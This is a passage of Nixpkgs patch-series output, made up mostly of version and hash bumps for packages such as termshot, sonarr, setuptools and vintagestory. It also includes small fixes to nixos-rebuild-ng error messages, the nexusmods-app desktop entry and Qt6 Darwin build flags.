     rev = "v${version}";
-    hash = "sha256-Uk6XeqdNXDs9H1Dzxy2uiF1ulIPoOxtZSoe2XU/6f0Q=";
+    hash = "sha256-fMBKuIzycuBMtkaGZPJmfRhYntER+yFzAA6mTCLuhws=";
   };
 
-  vendorHash = "sha256-GWEEhn2O6Wxrd3y7w4h8Qz8/4GA1z++QsrOi9r58Rg8=";
+  vendorHash = "sha256-G+RT2teg1+AoLJRjYKnQtVcGH3sbtrxhklQfGMIod+0=";
 
   subPackages = [ "." ];
 

From 95e14350d668144c6f7a584b2429c0f6bf85be67 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 28 Jun 2025 20:25:58 +0000
Subject: [PATCH 1844/4511] termshot: 0.5.0 -> 0.6.0

Changelog: https://github.com/homeport/termshot/releases/tag/v0.6.0
Diff: https://github.com/homeport/termshot/compare/v0.5.0...v0.6.0
(cherry picked from commit 1bf0a5bd750d9702d1d1da42336695b060198b5f)
---
 pkgs/by-name/te/termshot/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/termshot/package.nix b/pkgs/by-name/te/termshot/package.nix
index 52c62b373ce0..0680c614457d 100644
--- a/pkgs/by-name/te/termshot/package.nix
+++ b/pkgs/by-name/te/termshot/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "termshot";
-  version = "0.5.0";
+  version = "0.6.0";
 
   src = fetchFromGitHub {
     owner = "homeport";
     repo = "termshot";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-fk1Xlgf6WR6dAekv7gZXPfKTEvbnk7FT+mn8UYFbQnQ=";
+    hash = "sha256-utaQhUBpFUpxqE+cEJqlQHyJXSo/4UzrA2uqUd88uaM=";
   };
 
-  vendorHash = "sha256-RuIn4JNt4c47p2uiLtmCVYyY0/K1kJpmUboXHA5vhew=";
+  vendorHash = "sha256-3fUvl772pscrQv2wJkRX5wBhAt9fmfIPI7FGq7h7Fqw=";
 
   ldflags = [
     "-s"

From 02951f8e7ea3170ecf6292cd2f47ee4fb50c905b Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 28 Jun 2025 20:25:22 +0000
Subject: [PATCH 1845/4511] privatebin: 1.7.6 -> 1.7.8

Changelog: https://github.com/PrivateBin/PrivateBin/releases/tag/1.7.8
Diff: https://github.com/PrivateBin/PrivateBin/compare/1.7.6...1.7.8
(cherry picked from commit 7255241a519ca50e5bd9453cf59d625da9f2bcc0)
---
 pkgs/by-name/pr/privatebin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/privatebin/package.nix b/pkgs/by-name/pr/privatebin/package.nix
index 1c9f228d0376..caa8fb582a4a 100644
--- a/pkgs/by-name/pr/privatebin/package.nix
+++ b/pkgs/by-name/pr/privatebin/package.nix
@@ -8,13 +8,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "privatebin";
-  version = "1.7.6";
+  version = "1.7.8";
 
   src = fetchFromGitHub {
     owner = "PrivateBin";
     repo = "PrivateBin";
     tag = finalAttrs.version;
-    hash = "sha256-tKzuPpll1GOMlaIDfs5udXrHcTko6jmWJq4dPuPYy6Y=";
+    hash = "sha256-/28uzEDVEn7uy8c6/oCMFjKDJFPyHH50f890cc6fmjg=";
   };
 
   installPhase = ''

From a017ed135f1e9988279512b6a7c4400d6a773ef5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 20:02:53 +0000
Subject: [PATCH 1846/4511] fflogs: 8.17.13 -> 8.17.18

(cherry picked from commit c672a8c46756c672d414d71ce8e6e5079d13d9cf)
---
 pkgs/by-name/ff/fflogs/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ff/fflogs/package.nix b/pkgs/by-name/ff/fflogs/package.nix
index ef2bc6a7c4b6..56eb881306cb 100644
--- a/pkgs/by-name/ff/fflogs/package.nix
+++ b/pkgs/by-name/ff/fflogs/package.nix
@@ -6,10 +6,10 @@
 
 let
   pname = "fflogs";
-  version = "8.17.13";
+  version = "8.17.18";
   src = fetchurl {
     url = "https://github.com/RPGLogs/Uploaders-fflogs/releases/download/v${version}/fflogs-v${version}.AppImage";
-    hash = "sha256-mCHycRks9HXWhHOA/LbhjPCRjEuyGklgBuvY7e+KXnc=";
+    hash = "sha256-FP6vGezki4BViwLuKisxnCDaOUwFVQB2hag92lrwRyk=";
   };
   extracted = appimageTools.extractType2 { inherit pname version src; };
 in

From 2eb69613cb7f7cd581b2c163180b4d28f693986a Mon Sep 17 00:00:00 2001
From: Mitchell Hanberg <mitch@mitchellhanberg.com>
Date: Sun, 22 Jun 2025 14:38:53 -0400
Subject: [PATCH 1847/4511] sonarr: 4.0.14.2939 -> 4.0.15.2941

(cherry picked from commit e9deb974dc8fdec543e1267942dbb36690432eac)
---
 pkgs/by-name/so/sonarr/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/so/sonarr/package.nix b/pkgs/by-name/so/sonarr/package.nix
index ae45fb817bff..dbb67d410bca 100644
--- a/pkgs/by-name/so/sonarr/package.nix
+++ b/pkgs/by-name/so/sonarr/package.nix
@@ -21,7 +21,7 @@
   applyPatches,
 }:
 let
-  version = "4.0.14.2939";
+  version = "4.0.15.2941";
   # The dotnet8 compatibility patches also change `yarn.lock`, so we must pass
   # the already patched lockfile to `fetchYarnDeps`.
   src = applyPatches {
@@ -29,7 +29,7 @@ let
       owner = "Sonarr";
       repo = "Sonarr";
       tag = "v${version}";
-      hash = "sha256-gtEDrAosI0Kyk712Kf8QDuloUBq9AArKdukX/PKAo8M=";
+      hash = "sha256-1lBUkodBDFpJD7pyHAFb8HRLrbK8wyAboX0A2oBQnTM=";
     };
     patches =
       [

From eb46b23e622f9367e0ad52d744d6dc21169acf3e Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Tue, 6 May 2025 23:12:43 +0100
Subject: [PATCH 1848/4511] nixos-rebuild-ng: improve error message on
 CalledProcessError

This commit improves readability of error messages by making a Path
object a string and by joining all arguments. It only changes formatting
when `--verbose` or `--debug` is not being used, since those flags are
supposed to be used when debugging issues so it is better to have the
raw exception instead.

Replaces #402997.

(cherry picked from commit 057affe59d66940c3933a2a50b899aa55c8d58e9)
---
 .../src/nixos_rebuild/__init__.py             | 39 ++++++++++++++-----
 1 file changed, 30 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 0e7cf61b00a4..4208fb3dc1d5 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -366,16 +366,37 @@ def main() -> None:
     try:
         execute(sys.argv)
     except CalledProcessError as ex:
-        if logger.level == logging.DEBUG:
-            import traceback
-
-            traceback.print_exc()
-        else:
-            print(str(ex), file=sys.stderr)
-        # Exit with the error code of the process that failed
-        sys.exit(ex.returncode)
+        _handle_called_process_error(ex)
     except (Exception, KeyboardInterrupt) as ex:
-        if logger.level == logging.DEBUG:
+        if logger.isEnabledFor(logging.DEBUG):
             raise
         else:
             sys.exit(str(ex))
+
+
+def _handle_called_process_error(ex: CalledProcessError) -> None:
+    if logger.isEnabledFor(logging.DEBUG):
+        import traceback
+
+        traceback.print_exception(ex)
+    else:
+        import shlex
+
+        # If cmd is a list, stringify any Paths and join in a single string
+        # This will show much nicer in the error (e.g., as something that
+        # the user can simple copy-paste in terminal to debug)
+        cmd = (
+            shlex.join([str(cmd) for cmd in ex.cmd])
+            if isinstance(ex.cmd, list)
+            else ex.cmd
+        )
+        ex = CalledProcessError(
+            returncode=ex.returncode,
+            cmd=cmd,
+            output=ex.output,
+            stderr=ex.stderr,
+        )
+        print(str(ex), file=sys.stderr)
+
+    # Exit with the error code of the process that failed
+    sys.exit(ex.returncode)

From 7ff672e3c3c225ed04e9c420eaaa100c5aca316a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 30 Jun 2025 19:07:32 +0000
Subject: [PATCH 1849/4511] prometheus-blackbox-exporter: 0.26.0 -> 0.27.0

(cherry picked from commit c8fba3af158a92a4579ea35b85402d6c0f372d4e)
---
 pkgs/servers/monitoring/prometheus/blackbox-exporter.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/monitoring/prometheus/blackbox-exporter.nix b/pkgs/servers/monitoring/prometheus/blackbox-exporter.nix
index 817ad982def4..bb0e61b56768 100644
--- a/pkgs/servers/monitoring/prometheus/blackbox-exporter.nix
+++ b/pkgs/servers/monitoring/prometheus/blackbox-exporter.nix
@@ -7,17 +7,17 @@
 
 buildGoModule rec {
   pname = "blackbox_exporter";
-  version = "0.26.0";
+  version = "0.27.0";
   rev = "v${version}";
 
   src = fetchFromGitHub {
     inherit rev;
     owner = "prometheus";
     repo = "blackbox_exporter";
-    sha256 = "sha256-pdvYpu2EbcZIMyeWDWzb4TGlRE0cJgvIWJ62pHx7Xsk=";
+    sha256 = "sha256-oIsNqET3gHSajyWTxc+zoLiKQNCIXK77jtthOwYVtQg=";
   };
 
-  vendorHash = "sha256-Mw1+YQVmK4rqOLGIt6TSFgFsdMeL0h0A7ZJAtoL0klU=";
+  vendorHash = "sha256-UHm3iIQ6/clPx/VBUG4j/WLoOhFN44nbAEZk94L/9EY=";
 
   # dns-lookup is performed for the tests
   doCheck = false;

From 29fb03b087ba4969e91f1dd8b63cd60ddd3e75f7 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Mon, 30 Jun 2025 23:47:00 +0200
Subject: [PATCH 1850/4511] python3Packages.setuptools: 78.1.0 -> 78.1.1 /
 CVE-2025-47273

---
 pkgs/development/python-modules/setuptools/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/setuptools/default.nix b/pkgs/development/python-modules/setuptools/default.nix
index 99d3c13fea10..5cc0c34f9845 100644
--- a/pkgs/development/python-modules/setuptools/default.nix
+++ b/pkgs/development/python-modules/setuptools/default.nix
@@ -9,14 +9,14 @@
 
 buildPythonPackage rec {
   pname = "setuptools";
-  version = "78.1.0";
+  version = "78.1.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "pypa";
     repo = "setuptools";
     tag = "v${version}";
-    hash = "sha256-6vJ7nzpbm34cpso21Pnh9Ej9AhJa+4/K22XrwuF0R3k=";
+    hash = "sha256-X4Lb/jdsocUCMoki2S7Av7sVCV06PxRf9JomC/Qo94Q=";
   };
 
   patches = [

From 29129876bffccbd61e0470cba974713a6f5cfabe Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 29 Jun 2025 09:51:36 +0000
Subject: [PATCH 1851/4511] duplicity: 3.0.4.1 -> 3.0.5.1

(cherry picked from commit 28889f564163022c71b63258453f905399d5b21f)
---
 pkgs/by-name/du/duplicity/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/du/duplicity/package.nix b/pkgs/by-name/du/duplicity/package.nix
index b8d2d4f6392d..6076c780e054 100644
--- a/pkgs/by-name/du/duplicity/package.nix
+++ b/pkgs/by-name/du/duplicity/package.nix
@@ -22,13 +22,13 @@
 let
   self = python3.pkgs.buildPythonApplication rec {
     pname = "duplicity";
-    version = "3.0.4.1";
+    version = "3.0.5.1";
 
     src = fetchFromGitLab {
       owner = "duplicity";
       repo = "duplicity";
       rev = "rel.${version}";
-      hash = "sha256-cVzGdn3a9/Kvu/QYWaTXJ1llkPRvj0g8qb7TUjennws=";
+      hash = "sha256-fL4rvXcLKfEXuy5LKpFjFu+P3be7/T342+BgeO/dfp8=";
     };
 
     patches = [

From 8b51672a93a81caf8fb672a472cedfcb4f7f9ef4 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Mon, 30 Jun 2025 14:32:38 +0100
Subject: [PATCH 1852/4511] nexusmods-app: remove copyDesktopItems hook

We don't need this hook, because the desktop entries come from `src` and
don't need to be copied from `desktopItems` inputs.

See https://nixos.org/manual/nixpkgs/unstable/#trivial-builder-makeDesktopItem
for valid usage of `copyDesktopItems`.

(cherry picked from commit 64e4a7426bbe08621afb7ac21c930c52bee45d79)
---
 pkgs/by-name/ne/nexusmods-app/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index 1319e1f40166..b007391f716d 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -2,7 +2,6 @@
   _7zz,
   avalonia,
   buildDotnetModule,
-  copyDesktopItems,
   desktop-file-utils,
   dotnetCorePackages,
   fetchgit,
@@ -51,7 +50,6 @@ buildDotnetModule (finalAttrs: {
   nativeCheckInputs = [ _7zz ];
 
   nativeBuildInputs = [
-    copyDesktopItems
     imagemagick # For resizing SVG icon in postInstall
   ];
 

From 7723b03945c04cd5ce226ca555d596ee6378d7f8 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Mon, 30 Jun 2025 13:53:16 +0100
Subject: [PATCH 1853/4511] nexusmods-app: refactor desktop entry template

Use `toShellVars` to make it easier to write the `${template}` strings
needed for the desktop entry substitution.

(cherry picked from commit 0b4733d8e3ad49e1397c67a4cad327560937a2b8)
---
 pkgs/by-name/ne/nexusmods-app/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index b007391f716d..db80cd831a8e 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -73,11 +73,16 @@ buildDotnetModule (finalAttrs: {
   ];
 
   postInstall = ''
+    ${lib.strings.toShellVars {
+      inherit (finalAttrs.meta) mainProgram;
+      INSTALL_EXEC = "\${INSTALL_EXEC}";
+    }}
+
     # Desktop entry
     # As per #308324, use mainProgram from PATH, instead of $out/bin/NexusMods.App
     install -D -m 444 -t $out/share/applications src/NexusMods.App/com.nexusmods.app.desktop
     substituteInPlace $out/share/applications/com.nexusmods.app.desktop \
-      --replace-fail '${"$"}{INSTALL_EXEC}' "${finalAttrs.meta.mainProgram}"
+      --replace-fail "$INSTALL_EXEC" "$mainProgram"
 
     # AppStream metadata
     install -D -m 444 -t $out/share/metainfo src/NexusMods.App/com.nexusmods.app.metainfo.xml

From 0c905cbedbdffa3e7827efd8d6e34f4c55ce54ec Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Mon, 30 Jun 2025 13:55:38 +0100
Subject: [PATCH 1854/4511] nexusmods-app: set INSTALL_TRYEXEC in desktop entry

0.12 added a new `INSTALL_TRYEXEC` template to the desktop entry, in
https://github.com/Nexus-Mods/NexusMods.App/pull/3215

Replacing this template fixes an invalid desktop entry being installed.

Fixes https://github.com/NixOS/nixpkgs/issues/421241

(cherry picked from commit 5099a914b88dbbedbc476f45578974246b91010f)
---
 pkgs/by-name/ne/nexusmods-app/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index db80cd831a8e..f386b51ecb15 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -76,13 +76,15 @@ buildDotnetModule (finalAttrs: {
     ${lib.strings.toShellVars {
       inherit (finalAttrs.meta) mainProgram;
       INSTALL_EXEC = "\${INSTALL_EXEC}";
+      INSTALL_TRYEXEC = "\${INSTALL_TRYEXEC}";
     }}
 
     # Desktop entry
     # As per #308324, use mainProgram from PATH, instead of $out/bin/NexusMods.App
     install -D -m 444 -t $out/share/applications src/NexusMods.App/com.nexusmods.app.desktop
     substituteInPlace $out/share/applications/com.nexusmods.app.desktop \
-      --replace-fail "$INSTALL_EXEC" "$mainProgram"
+      --replace-fail "$INSTALL_EXEC" "$mainProgram" \
+      --replace-fail "$INSTALL_TRYEXEC" "$mainProgram"
 
     # AppStream metadata
     install -D -m 444 -t $out/share/metainfo src/NexusMods.App/com.nexusmods.app.metainfo.xml

From 34eaec35db962cc5b8090021b3fe1393412024a8 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Mon, 30 Jun 2025 13:59:38 +0100
Subject: [PATCH 1855/4511] nexusmods-app: validate desktop entry

Avoid future regressions related to new desktop entry templates by
validating the final desktop entry file doesn't contain any "$" chars.

Additionally, validate using `desktop-file-validate` from
desktop-file-utils.

(cherry picked from commit 8d70e8957ef0e3733d38fa09ce759980c01302c5)
---
 pkgs/by-name/ne/nexusmods-app/package.nix | 26 +++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index f386b51ecb15..35a6aa834ef2 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -148,6 +148,32 @@ buildDotnetModule (finalAttrs: {
       "NexusMods.Games.FOMOD.Tests.FomodXmlInstallerTests.InstallsFilesSimple_UsingRar"
     ];
 
+  doInstallCheck = true;
+
+  nativeInstallCheckInputs = [
+    desktop-file-utils
+  ];
+
+  # Upstream use ${...} templates in the desktop entry, so assert that we haven't missed any
+  # See https://github.com/NixOS/nixpkgs/issues/421241
+  installCheckPhase = ''
+    runHook preInstallCheck
+
+    echo 'Checking for issues in $out/share/applications/com.nexusmods.app.desktop'
+    (
+      cd $out/share/applications
+      desktop-file-validate com.nexusmods.app.desktop
+      if grep '\$' com.nexusmods.app.desktop \
+        --with-filename --line-number
+      then
+        echo 'error: unexpected "$"'
+        exit 1
+      fi
+    ) &>/dev/stderr
+
+    runHook postInstallCheck
+  '';
+
   passthru.updateScript = nix-update-script { };
 
   meta = {

From b00e3c0797e501c212946fe481c2a4ef213899cf Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Tue, 1 Jul 2025 08:49:11 +0200
Subject: [PATCH 1856/4511] qt6: prevent Xcode version sniffing

Qt tries to detect the running Xcode version through `xcrun xcodebuild
-version`.
This fails when xcbuild is not included in the dependencies, and is also
unnecessary as the value is only used for the Xcode min version check
that we explicitly disable already.

(cherry picked from commit e34775b6a1519b0c488ad2613822a900c6cce1e2)
https://hydra.nixos.org/build/300813628/nixlog/1/tail
---
 .../development/libraries/qt-6/modules/qtbase/default.nix | 4 ++++
 pkgs/development/libraries/qt-6/qtModule.nix              | 8 +++++++-
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtbase/default.nix b/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
index e1c4eab6b812..38496daaeec2 100644
--- a/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
@@ -271,6 +271,10 @@ stdenv.mkDerivation rec {
     ++ lib.optionals stdenv.hostPlatform.isDarwin [
       "-DQT_FEATURE_rpath=OFF"
       "-DQT_NO_XCODE_MIN_VERSION_CHECK=ON"
+      # This is only used for the min version check, which we disabled above.
+      # When this variable is not set, cmake tries to execute xcodebuild
+      # to query the version.
+      "-DQT_INTERNAL_XCODE_VERSION=0.1"
     ]
     ++ lib.optionals isCrossBuild [
       "-DQT_HOST_PATH=${pkgsBuildBuild.qt6.qtbase}"
diff --git a/pkgs/development/libraries/qt-6/qtModule.nix b/pkgs/development/libraries/qt-6/qtModule.nix
index e5089813c39a..a7f8144212b2 100644
--- a/pkgs/development/libraries/qt-6/qtModule.nix
+++ b/pkgs/development/libraries/qt-6/qtModule.nix
@@ -42,7 +42,13 @@ stdenv.mkDerivation (
       # don't leak OS version into the final output
       # https://bugreports.qt.io/browse/QTBUG-136060
       [ "-DCMAKE_SYSTEM_VERSION=" ]
-      ++ lib.optional stdenv.hostPlatform.isDarwin "-DQT_NO_XCODE_MIN_VERSION_CHECK=ON"
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        "-DQT_NO_XCODE_MIN_VERSION_CHECK=ON"
+        # This is only used for the min version check, which we disabled above.
+        # When this variable is not set, cmake tries to execute xcodebuild
+        # to query the version.
+        "-DQT_INTERNAL_XCODE_VERSION=0.1"
+      ]
       ++ args.cmakeFlags or [ ];
 
     moveToDev = false;

From f67005993cb0fa9a1c11e91481e19d2bc2f17e8a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marco=20=22Capypara=22=20K=C3=B6pcke?= <hello@capypara.de>
Date: Sat, 17 May 2025 15:34:11 +0200
Subject: [PATCH 1857/4511] google-lighthouse: 12.5.1 -> 12.6.0

(cherry picked from commit 8719953ea9107c31bdcb08151d07a86007c2ed74)
---
 pkgs/by-name/go/google-lighthouse/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/google-lighthouse/package.nix b/pkgs/by-name/go/google-lighthouse/package.nix
index bfb4a6c57d22..d9e23d7f7191 100644
--- a/pkgs/by-name/go/google-lighthouse/package.nix
+++ b/pkgs/by-name/go/google-lighthouse/package.nix
@@ -12,18 +12,18 @@
 }:
 stdenv.mkDerivation rec {
   pname = "google-lighthouse";
-  version = "12.5.1";
+  version = "12.6.0";
 
   src = fetchFromGitHub {
     owner = "GoogleChrome";
     repo = "lighthouse";
     tag = "v${version}";
-    hash = "sha256-v4V4K77WC3InQ+jRlzw0JV8ehPF+hwWlnAt3P8yHMGU=";
+    hash = "sha256-XwCitOesSEfzp3N80MsRfJ4gNyX85GzXsYaFMawmsjI=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-qdOR7A8ku8qJyJ3rdzH1okt+P1aekGfdtZbxjYOqehA=";
+    hash = "sha256-5c5xPlFglUDavUkRHxa691qSnKW39qqzv24woJshpTg=";
   };
 
   yarnBuildScript = "build-report";

From b13e7bec7ed5657151c59db048eac76e08b6dc8c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marco=20=22Capypara=22=20K=C3=B6pcke?= <hello@capypara.de>
Date: Sat, 28 Jun 2025 15:24:35 +0200
Subject: [PATCH 1858/4511] google-lighthouse: 12.6.0 -> 12.7.0

(cherry picked from commit a984d0b38318871311b02f5068c8c76e5b6e77d3)
---
 pkgs/by-name/go/google-lighthouse/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/google-lighthouse/package.nix b/pkgs/by-name/go/google-lighthouse/package.nix
index d9e23d7f7191..b20293e23aa8 100644
--- a/pkgs/by-name/go/google-lighthouse/package.nix
+++ b/pkgs/by-name/go/google-lighthouse/package.nix
@@ -12,18 +12,18 @@
 }:
 stdenv.mkDerivation rec {
   pname = "google-lighthouse";
-  version = "12.6.0";
+  version = "12.7.0";
 
   src = fetchFromGitHub {
     owner = "GoogleChrome";
     repo = "lighthouse";
     tag = "v${version}";
-    hash = "sha256-XwCitOesSEfzp3N80MsRfJ4gNyX85GzXsYaFMawmsjI=";
+    hash = "sha256-5YSUbqjzgBTjBtZYLwiGFWdWD9aDZ9To8kBZd09Tzkw=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-5c5xPlFglUDavUkRHxa691qSnKW39qqzv24woJshpTg=";
+    hash = "sha256-ySNsklPfhUm/RkXzAA2wlzx4jg61vL3zxlyhEBppMVE=";
   };
 
   yarnBuildScript = "build-report";

From 5f2e700bc515c18eec5d6df4ea6e80ff3465363f Mon Sep 17 00:00:00 2001
From: Duck <36255460+Duckuk@users.noreply.github.com>
Date: Sun, 25 May 2025 14:53:34 +0930
Subject: [PATCH 1859/4511] vintagestory: 1.20.9 -> 1.20.11

(cherry picked from commit 4196e2ce85413d7f21a7ac932bfcf0ad70d2ef01)
---
 pkgs/by-name/vi/vintagestory/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 9babd3729e7f..f2ea4e54f62f 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -21,11 +21,11 @@
 
 stdenv.mkDerivation rec {
   pname = "vintagestory";
-  version = "1.20.9";
+  version = "1.20.11";
 
   src = fetchurl {
     url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz";
-    hash = "sha256-pia2Dv0FY28nkATOk60GqiAEnZmxgZvZfvkM8U/bZzU=";
+    hash = "sha256-IOreg6j/jLhOK8jm2AgSnYQrql5R6QxsshvPs8OUcQA=";
   };
 
   nativeBuildInputs = [

From 08de24126e76e47fe635ab528a18d04720f647a1 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:00:28 +0200
Subject: [PATCH 1860/4511] vintagestory: remove redundant string append

(cherry picked from commit f34a492c5f9bf3bf155c1d4c5de450dc897c4358)
---
 pkgs/by-name/vi/vintagestory/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index f2ea4e54f62f..2e3af6ae08ea 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -82,11 +82,11 @@ stdenv.mkDerivation rec {
       makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory \
         --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
         --add-flags $out/share/vintagestory/Vintagestory.dll
+
       makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory-server \
         --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
         --add-flags $out/share/vintagestory/VintagestoryServer.dll
-    ''
-    + ''
+
       find "$out/share/vintagestory/assets/" -not -path "*/fonts/*" -regex ".*/.*[A-Z].*" | while read -r file; do
         local filename="$(basename -- "$file")"
         ln -sf "$filename" "''${file%/*}"/"''${filename,,}"

From ec07fafa26d1236a36020eb72a546d1a83f52164 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:02:58 +0200
Subject: [PATCH 1861/4511] vintagestory: remove `with lib`

(cherry picked from commit 36bfba5d65cc1aa744de16a0a1439deffdc9e65d)
---
 pkgs/by-name/vi/vintagestory/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 2e3af6ae08ea..5ddb0af88ff2 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -93,11 +93,11 @@ stdenv.mkDerivation rec {
       done
     '';
 
-  meta = with lib; {
+  meta = {
     description = "In-development indie sandbox game about innovation and exploration";
     homepage = "https://www.vintagestory.at/";
-    license = licenses.unfree;
-    maintainers = with maintainers; [
+    license = lib.licenses.unfree;
+    maintainers = with lib.maintainers; [
       artturin
       gigglesquid
       niraethm

From ba164b0060ed9441e401838821e7dda172b04e40 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:03:54 +0200
Subject: [PATCH 1862/4511] vintagestory: set `meta.sourceProvenance`

(cherry picked from commit 33bf00aae908125ca133bdd7c1737227b03deb45)
---
 pkgs/by-name/vi/vintagestory/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 5ddb0af88ff2..49178fa33008 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -97,6 +97,7 @@ stdenv.mkDerivation rec {
     description = "In-development indie sandbox game about innovation and exploration";
     homepage = "https://www.vintagestory.at/";
     license = lib.licenses.unfree;
+    sourceProvenance = [ lib.sourceTypes.binaryBytecode ];
     maintainers = with lib.maintainers; [
       artturin
       gigglesquid

From 77dc8485473b886ad49167c6fab9d0fdc77ffa74 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 7 Jun 2025 18:04:12 +0200
Subject: [PATCH 1863/4511] vintagestory: set `meta.mainProgram`

(cherry picked from commit 1a07a1cd92afe76a59e2e98f7c8b5c85ecb11c87)
---
 pkgs/by-name/vi/vintagestory/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 49178fa33008..3e2ad5e408e8 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
